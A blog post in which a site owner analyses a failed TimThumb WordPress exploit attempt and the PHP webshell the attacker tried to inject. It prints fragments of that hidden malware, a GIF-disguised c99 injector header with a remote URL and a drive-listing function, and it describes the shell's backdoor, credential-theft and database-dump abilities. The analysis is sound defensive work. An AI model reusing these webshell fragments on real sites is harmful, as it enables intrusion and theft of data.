Yesterday I traced on my
VPS running this blog an
attack attempt against a wordpress plugin.
The attacker tried to exploit TimThumb plugin for wordpress blogging platform
with this exploit published last
August.
Choosing the wrong weapon
This attempt is of course very lame since
armoredcode.com doesn’t run either wordpress then
php, but it was interesting enough since I was able to download the PHP
webshell the attacker was trying to inject into my blog.
A clever attacker doesn’t try to exploit vulnerabilities for php on a octopress, statically powered blog. Simply, it doesn’t work.
Please note that we’re talking about a script kiddie running an exploitation
tool without knowledge. A most skilled attacker would have a fine grained
detect activity over your server to discover if an exploit is usable or not.
Before going deep into detail, it seems that this wordpress plugin suffers a
lot of security issues
since looking for it in Google vulnerabilities comes first than the link to
download it.
The attack
The attacker tried to exploit the plugin in three different place:
Looking at the attempts we can see that the attacker hosted the malicious PHP
code over www.ipsupply.com.au, we can imagine an
hosting website running blogs since it refers to a wp-content directory.
The homepage says that the webserver is configured and running but there is no content over it.
We can imagine that this Australian powered website has nothing to do with the
attacker that used it as storage.
The attacker tried to mimic the link name surrounding with picasa.com verbs so
to keep fool for sysadmins looking at the logs. Quickly reading picasa.com over
a link it may sound that a regular image linked to a blog post.
A clever idea would be to mimic the whole picasa.com website instead of public
admit it is a fake. But our attacker is not that minded at all.
He tried to inject a IN.php file… I’m curious enough to go for it, take a
look inside and of course writing this post. =)
The code
The malicious code starts with a GIF preamble to keep the wordpress plugin fool around.
Pretend to be a GIF Image
12345678910111213141516
GIF89a�����ÿÿÿ!ù����,�������D�;�<?php$language='eng';$auth=0;$name='';// md5 Login$pass='';// md5 Password/**************************************************************************************************************************************************************/@error_reporting(0);@set_time_limit(0);?><?php/*******************************************//* c99 injector v1 09.2011 *//* Re-coded or modified By b3n_jol *//*******************************************/$sh_id="sakaw";$sh_ver="- shell";$sh_name=($sh_id).$sh_ver;$sh_mainurl="http://s4l1ty.binhoster.com";
Original comments are in place. The idea from this code is to inject a proper
password protected webshell that can be used only by the attacker.
Password, MD5 hashed has been stored in a passs.txt file. You would look into
your filesystem for it just to make sure that this lame attacker has not
infected you.
I have to admit that I tought about a friend of mine playing with me when I saw this function in the PHP code.
It seems that this webshell wants to scan for Windows powered disk drivers, but
I’m not that sure that is used in the real shell.
A disk? In 2012?
123456789101112131415161718
function disp_drives($curdir,$surl) { $letters = ""; $v = explode("\\",$curdir); $v = $v[0]; foreach (range("A","Z") as $letter) { $bool = $isdiskette = $letter == "A"; if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"". ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> ["; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "<font color=yellow>".$letter."</font>";} $letters .= "]</a> "; } } if (!empty($letters)) {Return $letters;} else {Return "None";} }
However, this is the piece of PHP that runs commands:
The idea, looking at the remaining part of the source code is that apart for
presenting a web shell to authenticated attackers, this worm tries to download
and install c99 PHP backdoor.
A particular note is for the code trying to extract connection parameter from
PHP ini files and dumping the mysql database as you may expect in a wordpress
typical scenario.
The remaining 2000 lines of code are a sophysticate control panel for the
attack victim. The attacker have a full featured back-connection shell and
using web page he can retrieve sql dumps, passwords and Apache configuration.
A powerful mass-destruction weapon used by a lamer.
Wrap up
Please update your wordpress plugins and uninstall the ones that are
unnecessary.
Wordpress, PHP and Apache are widespread technologies used also by people not
caring too much about security and that is what attackers are looking for.
Unmaintained platform to exploit in order to gain control over a machine using
it to make further attacks.
Don’t underestimate upgrading your systems since you’re not a bank, or you
don’t have credit card numbers stored in your database.